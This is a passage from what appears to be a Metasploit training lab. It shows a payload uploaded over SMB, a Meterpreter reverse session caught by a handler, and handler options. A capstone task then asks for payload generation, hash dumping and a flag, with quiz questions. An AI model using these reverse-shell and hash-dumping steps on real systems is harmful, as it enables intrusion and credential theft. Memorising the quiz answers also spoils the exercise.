msf6 auxiliary(admin/smb/upload_file) > exploit

[+] MACHINE_IP:445 - /root/shell.exe uploaded to shell.exe
[*] MACHINE_IP:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Step 4: Execute the payload on the target. 

Info: On the actual target, your payload will be executed automatically after you upload it to the SMB share.

Target CMD
           C:\public>shell.exe
        

Step 5: Catch the session (back in msfconsole)

Attack Box
           [*] Meterpreter session 1 opened (CONNECTION_IP:4444 -> MACHINE_IP:55320) at 2026-03-18 17:20:15 +0000

meterpreter > sysinfo
Computer : CAPSTONE
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows meterpreter >

The payload executed on the Stratford Windows server, connected back to our handler, and we now have a full Meterpreter session.

Handler Tips

Running the handler in the background

Adding -j to the run command starts the handler as a background job, so you can continue working in msfconsole while it waits for connections:

AttackBox Terminal
           msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on CONNECTION_IP:4444
msf6 exploit(multi/handler) >
        

When a session opens, you will see the notification and can interact with it using sessions -i <id>.

ExitOnSession

By default, the handler stops listening after the first session is established. If you want it to keep listening for additional connections (e.g., you deployed the same payload to multiple targets), set ExitOnSession to false:

AttackBox Terminal
           msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
        

This is useful when you have distributed the same payload to several hosts and want a single handler to catch all incoming sessions.

AutoRunScript

The AutoRunScript option runs a specified command or script automatically when a new session opens. For example, to automatically migrate Meterpreter to a more stable process:

Attack Box
           msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
AutoRunScript => post/windows/manage/migrate
        

This saves manual steps when you expect multiple sessions and want a consistent post-exploitation setup on each one.

?Answer the questions below

  1. What Metasploit module is used as a universal listener for catching reverse shell connections?
  2. What handler option should you set to false if you want the handler to keep listening after the first session is established?
Task 8

Capstone Challenge

This is the capstone for the Metasploit module. You will apply everything you have learned across all four rooms: generating a payload with msfvenom, setting up a handler, delivering the payload to a target, catching the session, and performing post-exploitation to retrieve a flag.

Press the Start Machine and Start AttackBox buttons above.

The Scenario

Your team has uncovered a guest-writable share on the target Windows machine. There is a scheduled task that will run and delete any executable files uploaded to this share. The team also uncovered that the target only allows outbound HTTP/S traffic.

Your objectives:

  1. Generate a Windows Meterpreter payload in EXE format using msfvenom.
  2. Transfer the payload to the target machine.
  3. Set up a handler in msfconsole and catch the Meterpreter session.
  4. Use post-exploitation to dump password hashes of other users on the system.
  5. Retrieve the flag.

Hints

  • For payload generation, use a stageless Meterpreter payload for reliability (meterpreter_reverse_tcp, not meterpreter/reverse_tcp).
  • To transfer the file, you can use one of Metasploit's auxiliary modules.
  • For hash dumping, you can use the technique learned previously in this module.
  • The flag is on the target file system. Use Meterpreter's search command to find it.

?Answer the questions below

  1. Generate a Meterpreter payload in .exe format.
  2. Transfer the payload to the target machine and catch a Meterpreter session on the target machine.
  3. Use a post-exploitation module to dump the password hashes of other users on the system. What is jim's NTLM hash?
  4. Find the flag somewhere in C:\Users\Administrator . What's its value?